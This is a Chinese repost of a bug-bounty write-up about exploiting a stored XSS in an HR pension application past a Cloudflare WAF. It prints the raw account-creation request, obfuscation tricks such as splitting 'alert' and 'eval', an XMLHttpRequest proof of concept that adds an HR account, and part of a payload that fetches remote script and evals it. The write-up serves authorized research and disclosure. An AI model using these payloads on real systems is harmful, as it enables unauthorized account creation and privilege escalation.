实战 | 绕过 WAF 将存储的 XSS 武器化_集群智慧网络安全云
全国客户服务热线:4006-054-001 疑难解答:159-9855-7370(7X24受理投诉、建议、合作、售前咨询),173-0411-9111(售前),155-4267-2990(售前),座机/传真:0411-83767788(售后),微信咨询:543646
企业服务导航

实战 | 绕过 WAF 将存储的 XSS 武器化

发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370


实战 | 绕过 WAF 将存储的 XSS 武器化

在测试漏洞赏金计划时,我注意到我的html injection payload在将其发送到应用程序中反映的每个字段时都有效。然后,我第一次收到弹框的冲动让我失望了。Alert()被cloudflare WAF阻止。所以,我使用console.log()了它,它被接受并执行了。当我必须构建一个显示此 XSS 影响其他用户的 PoC 时,就会出现问题。 关于目标 此应用程序是为人力资源部门构建的,用于管理员工的养老金。员工自己无权访问该应用程序。唯一的授权差异发生在主 HR 帐户和子 HR 帐户之间。 2 Sub-HR 帐户存在权限级别。 1. 只读访问 2. 标准访问 具有标准访问权限的子 HR 帐户可以创建、编辑、删除员工记录。但是,它不能创建新的子 HR 帐户。仅允许主 HR 帐户这样做。 因此,在我们的攻击场景中,我们有一个子 HR 帐户。我们会将员工姓名编辑为将存储的 XSS 有效负载。我们的受害者,一个主 HR 帐户访问Income Decl.导致我们的有效负载执行的选项卡。它POST请求/hrusers/add创建新的子 HR 帐户。 这里是执行 XSS 的页面。有关公司的信息将根据他们的要求进行编辑。 漏洞利用 POST /hrusers/add最初看起来像这样的核心(删除了一些标题以增加可读性): POST /hrusers/add HTTP/1.1Host: www.app.tldCookie: auth=secret;Content-Length: 976Origin: https://www.app.tldContent-Type: multipart/form-data; boundary=----WebKitFormBoundarycItg8YvLxAC5Af6gSec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://www.app.tld/Connection: close------WebKitFormBoundarycItg8YvLxAC5Af6gContent-Disposition: form-data; name="_method"POST------WebKitFormBoundarycItg8YvLxAC5Af6gContent-Disposition: form-data; name="data[User][first_name]"john------WebKitFormBoundarycItg8YvLxAC5Af6gContent-Disposition: form-data; name="data[User][last_name]"doe------WebKitFormBoundarycItg8YvLxAC5Af6gContent-Disposition: form-data; name="data[User][email_address]"ne555+blog@wearehackerone.com------WebKitFormBoundarycItg8YvLxAC5Af6gContent-Disposition: form-data; name="data[User][username]"ne555-blog------WebKitFormBoundarycItg8YvLxAC5Af6gContent-Disposition: form-data; name="data[User]当前隐藏内容需要输入密码才能查看,请先 登录 再输入密码!"testpass123!------WebKitFormBoundarycItg8YvLxAC5Af6gContent-Disposition: form-data; name="data[User][conf_password]"testpass123!------WebKitFormBoundarycItg8YvLxAC5Af6gContent-Disposition: form-data; name="data[User][role_type]"0------WebKitFormBoundarycItg8YvLxAC5Af6g-- 302 Found请求成功后返回。 Bypass CloudFlare 1.我尝试的第一件事是使用script标签,但它被 cloudflare 阻止了。 2.我试图绕过解析但是没有什么好的结果。所以我需要在事件处理程序中构建有效负载。 3. 我试图创建一个XMLHttpRequest. 但是,它也被阻止了。 4. 在制作了几个payload之后,我意识到这种利用并不像我想象的那么容易。CSP 规则允许我从任何域中获取数据。因此,如果我将恶意 javascript 存储在其他地方并在运行时将其拉取,WAF 将无法检测到它。 5.fetch()被屏蔽了。所以我开始寻找一种以某种方式对其进行编码的方法。我想使用aurebesh.js[https://aem1k.com/aurebesh.js/]很长时间了。这似乎是一个很好的用例。这是完整的有效载荷: 6. WAF 没有阻止它并弹出警报。也许我可以这样编码fetch()。我尝试了 jsfuck.com[http://www.jsfuck.com/],但 WAF 阻止了我的有效载荷。这很奇怪。也许我可以编写自己的aurebesh.js[https://aem1k.com/aurebesh.js/]版本,让我可以将任何字母用于任何代码。 7. 经过一段时间的研究,我发现我的 JS 知识远远低于标准。我需要找到其他方法来绕过这个 WAF。 8. PayloadsAllTheThings[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection] repo 真的很有帮助,我发现top["al"+"ert"](1);有效载荷确实有效。我可以潜入这样的危险功能。 9. 如果我可以multipart/form-data请求application/x-www-form-urlencoded,POST /hrusers/add我就不必处理边界问题。尽管 Burp Suite 的change body encoding功能和服务器接受了请求,但我还是这样做了。 10. 我用下面的代码创建了一个新建用户的POC。 body = `_method=POST&data%5bUser%5d%5bfirst_name%5d=john&data%5bUser%5d%5blast_name%5d=doe&data%5bUser%5d%5bemail_address%5d=ne555%2bblog@wearehackerone.com&data%5bUser%5d%5busername%5d=ne555-blog&data%5bUser%5d%5bpassword%5d=testpass123%21&data%5bUser%5d%5bconf_password%5d=testpass123%21&data%5bUser%5d%5brole_type%5d=0`;poc = new XMLHttpRequest();poc.open(`POST`,`/hrusers/add`, true);poc.setRequestHeader(`Content-Type`, `application/x-www-form-urlencoded`);poc.withCredentials = true;poc.send(body); 11. 现在我必须获取这个 javascript 并使用eval(). 有效负载创建是有问题的,因为它位于事件处理程序内部并且由许多层组成。gist 中的所有字符串都必须使用撇号创建。 12.最终的利用POC: response.text()).then((body) =>{top[`ev`+`al`](body);})"> 13. 现在,当受害者访问该页面时,会创建一个新的子 HR 帐户。 结论 不仅证明 XSS 是有效的,而且还真的很有教育意义。此漏洞存在于一个私人漏洞赏金计划中。因此,它得到了奖励,并且该博客文章被公司允许。 文章来源于: https://infosecwriteups.com/bypassing-waf-to-weaponize-a-stored-xss-ff9963c421ee 由HACK学习君翻译整理,如需转载请注明来源公众号 黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担! 如侵权请私聊我们删文 END

实战 | 绕过 WAF 将存储的 XSS 武器化